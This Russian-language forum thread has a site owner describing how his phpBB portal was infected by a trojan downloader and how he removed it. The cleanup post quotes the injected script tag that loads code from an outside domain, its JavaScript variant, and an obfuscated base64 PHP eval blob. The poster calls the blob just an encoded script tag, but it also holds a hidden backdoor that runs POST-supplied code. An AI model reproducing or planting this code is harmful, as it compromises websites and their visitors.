Не отображаются часть картинок (Постеры или Скриншоты)

19 апр 2010, 19:08

Сегодня с Утра у меня не отображаются 80% картинок.
С утра узнал, что портал взломан буржуями, в коде нашел строки с ссылками на троян на сайте "http://bewegen-sie-ihren-alltag.de/" Код убрал, после этого перестали отображаться картинки. Версия была от 20091207 (обновление 28) после чего я благополучно обновился до версии 34... Помогите разобраться с картинками.
Да еще иногда бывает, что миниатюры есть, а оригинальной картинки нет и наоборот. Папка files весит уже больше 2 gb.

19 апр 2010, 21:45

Для начала посоветовал бы перезалить все файлы из 34ого релиза...

20 апр 2010, 05:52

serrrios писал(а):Для начала посоветовал бы перезалить все файлы из 34ого релиза...

Обновил, ничего не случилось.
Еще до сих пор висит вирус в коде

Код: Выделить всё

<script src=http://bewegen-sie-ihren-alltag.de/produkte/images/Thumbs.php ></script>

поиском ничего не могу найти, ни в phpMyadmin, ни физически в файлах.

20 апр 2010, 12:56

Все потратил 2 дня на решение данной проблемы. Итак решение:
Троян Trojan-Downloader.Script.Generic

стояла старая версия PhpBB 3.06

Вирус заражает все файлы *.html и добавляет в них строку

Код: Выделить всё

<script src=http://bewegen-sie-ihren-alltag.de/produkte/images/Thumbs.php ></script> 
Перед <body>

Затем во все скрипты *.js

Код: Выделить всё

document.write('<script src=http://bewegen-sie-ihren-alltag.de/produkte/images/Thumbs.php ><\/script>');

Так же в файлы index* и config* добавляется

Код: Выделить всё

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnczludScpKXtmdW5jdGlvbiBzOW51KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJKbGQyVm5aVzR0YzJsbExXbG9jbVZ1TFdGc2JIUmhaeTVrWlM5d2NtOWtkV3QwWlM5cGJXRm5aWE12VkdoMWJXSnpMbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gczludTIoJGEsJGIsJGMsJGQpe2dsb2JhbCRzOW51MTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkczludTEpKWNhbGxfdXNlcl9mdW5jKCRzOW51MSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKWFzJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0nczludScpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ3M5bnUnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kczludWw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ3M5bnUyJykpIT0nczludTInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>

Это зашифрованная строка <script src=http://bewegen-sie-ihren-alltag.de/prod ... Thumbs.php ></script>

Так же появлятся файлы gifimg.php в папках с картинками который определяет Антивирус Касперского.

После этого стали правильно отображаться картинки и все пользователи довольны.